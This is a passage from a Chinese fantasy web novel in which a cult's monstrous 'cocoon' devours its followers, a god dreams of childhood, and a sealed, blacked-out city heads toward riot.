魔鬼看着那闪烁着流光的金色耳钉,心头被磅礴的感情席卷的同时,也被某种更深重、更不可名状的欲念吞没。
既然祂甘愿与他一同沉沦,那么。
就算天地坍塌。
直到万物湮灭。
他也绝不会放手。
但在那之前。
少年变回小羊,咬着一枝白玫瑰,讨好地用犄角蹭了蹭祂的手心。约定可不能忘。
神明收下白玫瑰,嗅了嗅。
那依旧是只有玫瑰才做得到的吻。
*
深井。
旧读书时期会跟在樊蒙身边的女助手正在向真正的主教上报情况。
不久前,“茧”检测到一阵强烈波动,类似受到刺激后突然加速的心跳。
经查询,是不见城与邻市的边界被未知力量封锁,城里的人出不去,附近居民的恐慌疯长,而这像肉骨头吸引小狗一样吸引了“茧”。
不过这些美味的极端情绪很快消失不见,也不知是被安抚还是怎样,“茧”郁闷地收回准备狩猎的触手。
大主教的枯木化已然达到百分之七十,胸口以下全是看得见、摸得着的树的纹理,仅有头颅还有点儿人类模样。
“是好事,不是吗?”他慢慢悠悠开口,“它的自主意识更明晰了,能够主动捕猎,而不是等着我们投喂。这说明它在快速成长。”
助手双眼放光:“那它是不是马上就要出生了?”
大主教皱巴巴如树皮的脸皱巴巴地笑了笑:“的确。”
助手的语气满是憧憬:“好期待那一天啊……大人,最近可以减少安排我的外勤工作吗?我怕错过那神圣的一刻。”
大主教的胳膊早就抬不起来了,不然这时候该赶苍蝇似的挥手:“你自己定。”
助手没听出他的不耐烦:“谢谢您!”
大主教咳嗽着剥夺几片叶子,可惜助手没楚情那么机灵,还沉浸在自己的想象中,好一会儿才反应过来打扫。
大主教瞥她一眼,转开目光。
这群蠢货,加起来也比不上心肝儿的半根手指。
可惜……
助手见大主教闭上眼要休息的架势,准备离开。
就在这时,外面传来惨叫声。
“破了……”
“‘茧’……”
“……吃人……”
“——救命!!”
听得见只有这些破碎的字句。
她愣了下,正要出去看看情况,脚下一阵摇晃。
接着,这间钢筋水泥筑成的疗养屋如纸折的礼物盒般展开,墙体塌陷,天花板开裂,灰尘和碎石飞扬。
大主教被密密麻麻的树根高高捧起,而她是被漏下去的那个,从洞开的地板滑向井的更深处。
千钧一发之际,助手抓住树根的一道分杈,在她摇摇晃晃用上肢的力量保住自己的下一秒,轰的一声,整个地板彻底粉碎。
她全部的注意力都在抓住救命稻草不让自己掉下去,连惊叫的力气都没有。
老树根抽长、蜿蜒,牢牢抓住深井的四壁,助手孤零零悬在半空,向下看去,原以为已经打到底的深井根本没有真正的尽头,黑魆魆一片,明明什么都看不清,却更像宛如怪物张开的血盆大口,随时等待着猎物的失足。
她匆匆瞥一眼就不敢再看。
不仅是恐高,更因那深渊像在召唤,若多看一眼,她怕自己会控制不住地纵身一
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跃。
等等,疗养屋外应当连着长廊。
可是……环绕着“茧”的长廊呢?
还有其他人呢?
怎么现在除了大主教和自己,只剩下无尽的虚空?
她的手心出汗,摩擦力和体力一样越来越小,随时可能抓不住树根。
直到捕捉到隐约的水声,循声望去,她才后知后觉不是其他人和建筑不见了。
——是被淹没了。
如果说“茧”是一颗心脏,那么长廊就是连接它的血管,而长廊的墙壁则是它的心包。
现在这层膜破了。
此前听见的惨叫,就是它的预警。
自“茧”中涌出的“心包液”呈近黑的深色,无比黏稠,仿若沼泽,散发出令人作呕的血腥味。液体泛起湿滑的气泡,破裂时发出诡异的咕叽咕叽,像野兽在消化食物,令人头皮发麻。
这远比沼泽更可怖,任何生物哪怕踏进去半只脚,也会被吞得骨头都不剩。
她无助垂落的足尖距离它只剩十几厘米。而它还在如海浪翻涌。
血海之中,她看见好几个试图挣扎、又转瞬间被淹没的身影,无一不是自诩“渎神会核心成员”的同僚。
他们以为自己很有用,是天选之人,以为会是日后新神最得力的辅佐。
可还是被毫无怜惜地吃掉了。
和“银色山泉号”上充满期待的天真信徒,和章鱼馆一无所知的游客,和芸芸众生没有任何差别。
助手在极度的恐惧和悔恨中五官变得扭曲,比起愤愤不平,更多的是不甘。
“为什么?……到底是为什么?
“祂不需要我们吗?我们才是最忠实的拥护者!
“祂降临之后,总是需要信徒的!还有比我们更好的选择吗?
“没有臣民的王……还能算是王吗?”
老树根如无数臂膀将大主教托举在血海之上,居高临下俯瞰着,甚至是欣赏着。
他慢吞吞开口,嗓音苍老却闲适:“你们的付出,祂都看在眼里。”
黑血终于如毒藤缠上助手的脚踝。
她在渎神会所获得的所有异能一招都来不及施展,就被拖入地狱。
“感谢你们的付出。”大主教的语气像在为她和她的同僚们祈祷,“当祂诞生之日,不会遗忘尔等。”
最后一道身影也消失了。
樊朦耷拉着空洞的眼皮,想起助手的质问,只觉得可笑。
他像每一个上了年纪、糊涂了的老人那样自言自语:“谁说过祂需要信徒?”
“只有弱小的神才需要汲取信仰之力变强。”他咳出一片完全枯萎的树叶,在掉落之前就碎成齑粉,“真正强大的君主,何须随从。”
血海之中“茧”的心跳一声比一声浩荡,在深井里回响。
樊朦闭上眼,让树根带着自己同样沉进血海里,脸上挂着一抹幸福的微笑。
异教徒狂热企盼的伪神快要苏醒。
同一时间,真正的神明罕见地,前所未有地即将坠入沉眠。
原先挤了近两百号人的活动中心空空如也,唯余满地白玫瑰花瓣。
玻璃窗外闯进来的风一吹,下起一场漫天馨香的雪。
半梦半醒间,祂听见低低柔柔的的哼唱,宛若一首轻缓的摇篮曲。
「你的面貌还像当年
我的痛苦已积满心田」
这个旋律是……
「你不让我吐露一言
只能对你多看一眼」
祂枕在纯白的花海中睡着了。
34.第 34 章
姜宵做了一个梦。
梦里祂还没有给自己取“姜宵”这个名字,甚至未加冕为诸神之神,还只是一个新生不久、却不得不承担起众生期望的小神祇。
新生归新生,早已万众瞩目。自祂作为预言之中的“众神之首”诞生的那一刻起,天地间无数眼睛就已经盯上了祂,信赖、怀疑、敬畏、仇视……三千世界,十方宇宙,祂始终是焦点。
小神明的衣袍材质轻薄柔软,如同晨雾。衣摆仅仅垂过膝,露出细瘦的小腿和雪白的脚踝。
衣服上没有繁复的装饰,袖口由金线收束,便于行走和奔跑;尽管祂并不会做出奔跑这般不稳重之事。
相比后来庄严迤逦的神主袍,它更加简约、轻盈,宛若为了保护幼雏而张开的圣洁羽翼,呵护着祂孤高的童真。
小神明跪在真理净潭边,俯身正努力地够着什么,一池璀璨莲影在祂指尖摇曳。
祂没有朋友,也不需要陪伴,大多数时间都自己一个人待着,安安静静的,就算有人找来也不会主动开口,像尊小巧的、漂亮的雕像。
“原来您在这儿。”
小神明循声转过头,看见结伴而行的两人。
一个道骨仙风,半身虚影,另一个长满树藤,身披袈裟。
祂甩了甩手上的水珠,在它们化为浅金色的光的碎片后,起身向二人行礼:“老师,尊者。”
祂尚未加冕,仍有尊长。
空聆尊者和麓行尊者也同时对祂行礼。祂还不是神主,不宜呼为“陛下”,也没有别的更合适的称谓,暂且以“您”相称。
麓行尊者看了眼和平日无异的潭水,好奇道:“您在做什么?”
他是一棵树——或者半棵——对洁净的水源有天然的渴求,每次路过真理净潭都很想把全身泡进去;可惜也只能想想。
即便贵为尊者,这儿也不是他能踏足玷污的。
神域之内,惟有未来的神主方可触碰净潭。
所以小神明可以如凡间的人类幼崽嬉戏般随意撩着池水玩儿,他只能伸长脖子瞧两眼。
小神明看了他一眼,淡蓝的眸子从不会映出任何人的倒影。
祂抿了抿嘴,没说话。
麓行尊者每每想同祂沟通,十次有九次得不到回答,剩下一次勉强能得到一两个语气词。
小神明倒不是对他个人有什么意见(应该不是吧?),祂只不过平等地不爱搭理任何人。
今天也是同样。
麓行尊者看着那张稚嫩却冷淡的小脸,悻悻闭嘴。
这孩子并不亲近他,相比之下,自幼教导和辅佐祂的空聆尊者不仅得到“老师”的尊称,更拥有祂几乎独一份的信赖。
老人眯起眼睛漾出褶皱又平静的池水:“您在捞什么东西,是吗?”
小神明想了想:“是捉。”
“捉”和“捞”乍一听是相似的动作,本质很大的不同:这意味着水里的东西本来是属于祂的,而且从祂身边逃走了。
空聆尊者能比麓行尊者多问出来一句,也只多出这么一句。
再要问小神明想捉的东西是什么、需不需要自己的帮忙,祂就不说话了。
祂还那样小,丁点儿大一只,不到尊者们的腰高,精致得如同会被孩子们哄抢的昂贵人偶娃娃。
可祂生来就有统御三界六道的威严,祂不想说,没有人能、敢逼迫祂开口。
麓行尊者小心翼翼屏息,生怕自己呼吸重了惹到小神明不高兴。
空聆尊者自如得多,没再纠结于净潭,不着痕迹地随口换了话题:“还有几日就是神圣仪式了,您准备好了吗?”
小神明眨了眨眼:“一定要吗?”
此时的幼年神明还有浅浅的情绪起伏,是个会有喜好、意愿与抗拒,会在问句中用上疑问语气、在末尾正儿八经打上问号的小孩子。
“是的,一定要。”空聆尊者温和道,“那是您在加冕之前所需要完成的最后一道步骤。只有经历神圣仪式,您才能成为合格的神主。”
小神明低头想了会儿才回答,年幼的嗓音轻细柔软:“我知道了。”
祂冲二人点点头算是道别,离开真理净潭,白袍如云,落下的每一步伴着金莲绽放,亚麻色的发梢零落着又冷又明亮的光芒。
麓行尊者终于能开口:“祂看起来……不是很愿意进行仪式。”
“那样残酷,任谁都不会愿意。”空聆尊者叹了口气,“可那是诸神之神必经之路,而祂是唯一人选。”
麓行尊者摇摇头:“不容易啊。”
小神明的身影几乎看不清了,空聆尊者仍未收回视线,再一次重重叹息:“这么多年真是辛苦祂了。要是我没记错,陛下小的时候最喜欢来真理净潭玩儿,可神圣仪式结束之后,祂就再也没来过……”
麓行尊者听见他不合时宜的称呼,更听出他感慨中时间线的怪异,以为自己听错了:“您说什么?”
“没什么。”空聆尊者打了个哈欠,强行转移话题,“老头子缺觉胡言乱语很正常嘛……哎,要不要去喝酒?还是下凡玩玩儿?要不各回各家补觉吧?”
完全没有插话机会的麓行尊者:“……”
*
姜宵醒来,身边是打着哈欠互相推搡着起床领早餐的人类,以及守着他的楚情。
楚情原本在发呆,仿佛感应到祂的醒来,转头冲祂微微一笑:“先生。”
他总是这样,什么都不问,什么都不说。
姜宵还有点儿轻微的头晕,这和睡眠、梦境一样,对祂而言是史无前例的体验。
神明怎么会有如此人类的时刻?
祂早就发现了,不见城的异变不仅仅是对气候和昼夜的凝固,同样是对祂自己神力的污染。
然而怎么也想不到竟然会影响到这般地步。
姜宵揉了揉额角,感受着这几乎可以称之为新鲜的痛感。
还是掉以轻心了。
看来茧中异神比想象中更强大,需要花更多精力来处理。
按照戒律,祂不能直接干涉它的孵化。可如果到了万不得已必须出手的情况……
姜宵蓦地停下思绪。
祂望向四周拥挤而遥远的人群,楚情“看”出祂所寻,体贴地回答道:“先生,他一早就走了哦。”
小家伙缠了祂一整晚,使出浑身解数软硬兼施地磨人,居然甘心就这么走了?
姜宵忽然想起那个梦,在两位尊者到来之前,梦中幼小的祂想从池水中捉回来的“漏网之鱼”。
那天祂的确找回了它。
但在数日之后的神圣仪式开始前,祂再一次主动地,自愿放走了它,如同放走一只注定要高飞的鸟儿。
神明思及此处,抬手摸了摸左耳,摸到耳垂上小而锐利的冰冷的触感。
那颗祂为安抚小羊羔而戴上的金色宝石耳钉。
正欲垂下手,蓦地察觉到指间不同寻常的重量。
祂以为是白玫瑰的花瓣,低头看见一只蝴蝶。
翅背干枯斑驳似朽叶,展翼明艳绚烂如画卷,翕动之间,繁盛与凋零流转。
——一只枯叶蝶。
它不偏不倚停在祂的无名指上,静默如一枚戒指。
而戒指是因爱而生的,世间最小的枷锁。
祂知道的。
所以祂轻轻吹了口气,被惊扰的枯叶蝶振翅,解开镣铐后消散成暗金色光点。
*
一周过去,不见城与邻市间的屏障没有任何改变的迹象。
里面的人确定出不去,外面的人不敢尝试,也不知进不进得来。
再这样下去,这里将从时间静止之地彻底沦为孤岛。
先前聚集在活动中心的人们不得不回了家,他们为家人、朋友、邻里带来这触目惊心的消息,新一轮恐慌正悄无声息传染、围堵不见城。
一旦封禁开启,最先被哄抢的就是食物和基本生存物品,乃至武器。
有人早早开始搜罗超市和药店,有人联系自己的特殊渠道,有人待在家里惶惶不可终日,在真正的末日到来之前宁可自我了结。
不见城的管理局紧急出台应对措施,加强警戒;然而即便是警卫队的成员也无法保证这样下去还能多久——城内物资迟早有耗完的时候,到那一天,谁又会听谁的呢?
当制度和秩序消亡于黑夜,接下来登场的,就是弱肉强食的丛林法则了。
童话牧场正式闭店,成群膘肥体壮的家畜无疑是最显眼、最容易被盯上的目标,比起担心它们活不活得下去,佟老板更怕抢红眼的人们会伤到儿子和自家员工。
好在他未雨绸缪,早早有了准备:
牧场远离城中心,地处偏僻
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,一旦公共交通停运,没那么容易找过来;
这里的动物幼崽们都被有权有势之人认养,看在他们的名头上,普通人也不敢轻举妄动;
永夜两年间他精打细算进口了不少高端防护设备,足以应对突发状况;
更关键的是,牧场原本就设有打靶体验区,那可全是真枪实弹。
童话牧场看似温驯宁和,实则暗藏锋芒。一旦觉察出端倪,立刻能化身末日中最坚固的堡垒。
和运筹帷幄的老爸相反,佟灵对一切懵懵懂懂。他清楚的只有外面情况变得很坏,别说学校去不了,网课都停了。
他想弄明白究竟发生了什么,可无论老爸还是员工都缄口不提。
他们看着他长大,不希望他受到伤害,他理解、并且感激,仍觉得伤心:明年就要十八岁了,为什么还要被所有人当成一无所知的小孩子呢?
更令佟灵伤心的是,接下来很长一段时间会见不到小宁老师。
他知道宁槐一个人生活,家境也不太好,在佟老板打算封禁童话牧场之前就问过他要不要过来一块儿避避,起码在牧场里是吃喝不愁的。
然而宁槐摸摸他的头发,说了谢谢,没说好的。
“你要去哪儿呢?回家吗?”佟灵问。
“找个地方躲一躲吧。”宁槐说。
“既然躲,也可以来我们这儿啊!”
“不了。”宁槐笑了笑,“你和你爸爸都是很好的人,我不想连累你们。”
连累?为什么要用这个词呢?
小宁老师又没做错什么,大家都是末日的受害者。
佟灵不懂。
但他不懂的事太多了,再也不会有第二个人像小宁老师这样耐心地一一为他解答。
城市管理局发布宵禁——对于永夜之城来说,“宵禁”这个词未免显得太过荒唐——很快,宵禁的持续时间越拉越长,成了全天候戒严。
全城停电时,佟灵正在打游戏。
以前被允许玩半小时都很开心,现在已经觉得无聊了,不如外面发生点儿什么来得有趣。他在黑暗中听见在旁看新闻的老爸唰地站起来念叨着“怎么回事”,才反应过来不是自己瞎了。
牧场里有不少独立发电机,员工们有过类似经验,处理得很迅速。
大人们忙碌的时候,佟灵放下手柄,先开窗帘悄悄往外看。
今夜没有下雪,街道上弥漫着薄雾,竟比往常还要阴森。
路灯早就停工,更不会有行人选择这个时候出门,稀疏月光穿过雾气投下憧憧黑影,如同无声游荡的鬼魂,看得佟灵一个激灵。
他刚要放下窗帘,蓦地听到一阵怪异的动静。
扑通。
扑通。
犹如庞然大物贴着地表缓缓蠕动前行,或是雷鸣,或是……
巨大的,轰然的心跳声。
他头皮发麻,心慌慌地往外看去,什么都没有,除了摇曳的月影。
自己吓自己。
——是吗?
人们以为这次停电和以往一样,很快就会恢复。
然而24个标准时过去,昔日灯火通明的城市依旧漆黑一片,仿佛死在了长夜。
这时候任何张扬都是自寻死路,童话牧场不敢引人注目,谨慎地地隐藏自家有发电机的事实,除了维持设备运转所需的电,灯都没怎么开;窗户缝儿更是贴严实,生怕透出点什么。
眼下,人造光芒就如同血腥味,势必会吸引来饥肠辘辘的鲨群。
停电的第二天,卡助理来了一趟。
倒不是为了小迦(他那次出逃童话牧场、并被找到之后就再也没送回来;说实话牧场员工至今想不明白一只小绵羊是怎么越过重重封锁溜出去的),而是代表姜先生来看望他们的,问有没有需要帮助的地方。
卡助理平时话很多,那天却意外的寡言,临走前拍了拍佟灵的肩膀,叹气:“坚持住。不会太久了。”
佟灵一脑袋问号,想起最后一次见宁槐时对方也同样话说得这么模棱两可。
难道在跨过十八岁这条分界线之后,就会自动升级成为谜语人吗?
要是这样,长大可真没意思。
停电的第三天、第四天……
第七天,不见城死寂的外壳被弹尽粮绝的人们敲碎。
暴动开始了。